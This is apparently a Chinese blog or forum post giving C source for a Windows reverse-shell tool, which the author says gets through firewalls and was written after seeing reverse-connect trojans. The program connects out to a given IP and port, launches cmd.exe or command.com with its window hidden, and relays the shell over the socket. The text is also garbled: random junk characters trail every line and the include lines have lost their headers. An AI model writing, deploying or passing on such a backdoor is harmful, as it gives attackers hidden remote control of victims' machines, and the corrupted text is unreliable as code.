Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 "`''eV3  
FPBO=?H.  
/* ============================== \vR&-+8dk  
Rebound port in Windows NT +o94w^'^$b  
By wind,2006/7 Z F&aV?  
===============================*/ a&*fk?o  
#include 43p0k&;-7  
#include XKEd~2h<y  
)1!jv!  
#pragma comment(lib,"wsock32.lib") H*M)<"X  
4LfD{-_uW  
void OutputShell(); NrrnG]#p1  
SOCKET sClient; paG^W&`;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?'L3B4  
o;D[F  
void main(int argc,char **argv) tnCGa%M  
{ k25:H[   
WSADATA stWsaData; =eNh))]  
int nRet; a?]"|tQ'  
SOCKADDR_IN stSaiClient,stSaiServer; >PD*)Uq&  
yS)73s/MrY  
if(argc != 3) V7\@g  
{ qbwX*E~;  
printf("Useage:\n\rRebound DestIP DestPort\n"); '@epiF&  
return; J4Tc q  
} B9glPcy}SS  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $B3<"  
|9X$@R  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X$<s@_
#1  
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stSaiClient.sin_family = AF_INET; HpD<NVu  
stSaiClient.sin_port = htons(0); A_mVe\(*M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :@H&v%h(u  
",hPy[k  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \
k69 S/O  
{ +UGWTO\#ha  
printf("Bind Socket Failed!\n"); xpb,Nzwt^  
return; NLz[F`I  
} E>}(r%B  
F/ODV=J-  
stSaiServer.sin_family = AF_INET; PqOPRf  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ? V0!N;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !M&Qca2  
2{sx"/k\A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yG`J3++ S  
{ `
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printf("Connect Error!"); ("7rjQjRz  
return; ^D=1%@l?#  
} >4.K>U?0FC  
OutputShell(); el;eyGa  
} #Pf?.NrTn  
"GTlJqhk  
void OutputShell() A=(<g";m  
{ 'fqX^v5n  
char szBuff[1024]; *x;&fyR  
SECURITY_ATTRIBUTES stSecurityAttributes; +@ FM~q  
OSVERSIONINFO stOsversionInfo; ]hPu  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IgsK7wn  
STARTUPINFO stStartupInfo; ^bZ'z  
char *szShell; %)|pUa&  
PROCESS_INFORMATION stProcessInformation; ey~5DY7  
unsigned long lBytesRead; Lcx)wof  
j<HBzqP%6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oVK3=m@{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1j9R^  
stSecurityAttributes.lpSecurityDescriptor = 0; - DO  
stSecurityAttributes.bInheritHandle = TRUE; i Sm .E  
ID#p5`3n  
m!qbQMXn  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IsC`r7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +p%!
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;_HG 5}i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZJ$nHS?ra  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;!ICLkc$  
stStartupInfo.wShowWindow = SW_HIDE; " aEk#W  
stStartupInfo.hStdInput = hReadPipe; G=.vo3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /s'7[bSv  
)H'SU_YU  
GetVersionEx(&stOsversionInfo); +4N7 _Y  
mip2=7M|C  
switch(stOsversionInfo.dwPlatformId) r\+0J`  
{ 6dCS Gb  
case 1: /3VSO"kcZ  
szShell = "command.com"; mO6rj=L^  
break; CTG:C5OK  
default: #s\HiO$BT  
szShell = "cmd.exe"; C3XB'CL6  
break; [%);N\o2Y  
} ?nLlZpZ2v  
$y0[AB|V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Vw^2TRU  
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send(sClient,szMsg,77,0); _{]\} =@  
while(1) i; qb\  
{ 3?do|>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lhx"<kR4  
if(lBytesRead) . paA0j  
{ 1kd\Fq^z$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]WsQ=  
send(sClient,szBuff,lBytesRead,0); ]~Su  
} Aa.eu=@I  
else 5Hli@:B2s  
{ ]f3[I3;K  
lBytesRead=recv(sClient,szBuff,1024,0); W7F1o[  
if(lBytesRead<=0) break; $j+RUelFY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9?jD90@ }  
} |2$wJ$I  
} ,
m`>  
Ap:mc:  
return; wb#ZRmx}  
}